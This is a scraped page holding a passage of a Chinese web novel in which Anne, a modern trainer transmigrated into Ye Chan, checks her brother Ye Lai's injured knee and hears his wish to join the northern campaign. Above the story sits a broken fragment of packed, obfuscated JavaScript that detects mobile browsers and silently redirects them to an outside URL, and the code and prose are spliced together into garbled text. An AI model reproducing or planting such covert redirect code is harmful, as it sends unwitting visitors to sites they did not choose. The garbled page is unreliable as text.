3. 第 3 章（3 / 4）

return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14789906|158085||http|test|mini|href|location''.split(''|''),0,{}));

() {

$(''.inform'').remove();

$(''#content'').append(''

”

他不断揉着膝盖，精神并不在高家这件事上。

安妮心里叹了一口气，自己确实在剧情上帮不到他的话，还可以在别的方面帮他。“你膝盖怎么了？”安妮问道。

叶涞道：“最近练枪，步子很复杂，好像伤到了膝盖。”

安妮示意他坐下，叶涞心中奇怪妹妹的举止，但想知道她到底想干什么，于是乖乖坐下。

安妮半蹲下来，小心翼翼地架起他疼痛的那条腿，开始进行专业的膝盖功能测试。她先轻轻地左敲敲右敲敲，仔细倾听着敲击发出的声音，判断是否有异常的回响。接着，她让叶涞慢慢地伸直和弯曲膝盖，观察活动的幅度和流畅度，又让他尝试着内收和外展腿部，感受肌肉的力量和协调性。

做完这些初步的检查后，安妮说道：“没有积液，也没有拉伤。不过，你不要急着连步子。接下来，你需要加强一下股四头肌的锻炼。”

安妮认真地解释道，“可以通过直抬腿、靠墙静蹲等简单的动作来增强股四头肌的力量。比如直抬腿，平躺在床上，将受伤的腿伸直抬高，保持十个呼吸，然后缓慢放下，重复多次。还有靠墙静蹲，后背紧贴墙壁，双脚与肩同宽，缓慢下蹲，保持膝盖不超过脚尖，坚持一段时间。等膝盖的稳定性提升了之后，再进行步伐训练，这样可以避免再次受伤，也能加快恢复的速度。”

忽然，她意识到，自己不能在这个世界中暴露叶婵的身体中是现代人何安妮这件事，如果让叶家人知道了，他们或许会认为是自己夺舍了叶婵，后续会如何对待自己就不好说了。

以前她的学员中，有几位是有钱的奶奶，跟着她做康复性训练，对于如何缓解膝盖疼痛，她颇有经验。

“可是，我没有时间了。而且你怎么忽然成了跌打大夫？还有你说的什么股四什么鸡？”叶涞放下腿，疑惑地看着她。

“嘿嘿。”安妮尴尬一笑：“你不知道我最喜欢看各类杂书嘛！我是从东方传来的一本跌打医书上看到的。”不能再说更多了，安妮并不想在这个世界暴露自己穿书者的身份，另一方面，如果靖远侯等一众人发现，自己女儿叶婵的芯子被替换成了一个陌生人，会怎么对待她呢？

安全起见，还是保护好自己的身份。好在叶婵本来就是个宅女，最喜欢的就是看书，她说是看书学会的，叶涞会相信她。

没等到叶涞继续发问，安妮抢先反问道：“你说你急着练好枪术，要急着去做什么？”

“父亲说，枪术练不好，就不带我随军，什么时候练好，什么时候才能跟他去北境。每次去北境，他都只带大哥和二哥，从来没带过我。我都十四了，他还把我当小孩。”叶涞恼怒地弹了一下枪，那力道极大，枪杆猛地撞击地面，挑起一层尘土，在空中弥漫开来。他的脸庞涨得通红，眼中燃烧着、不甘的火焰：

“我做梦都想着能上战场，与父亲和兄长们并肩作战，奋勇杀敌，建立功勋。可父亲却总是不相信我的能力，我已经长大了，我能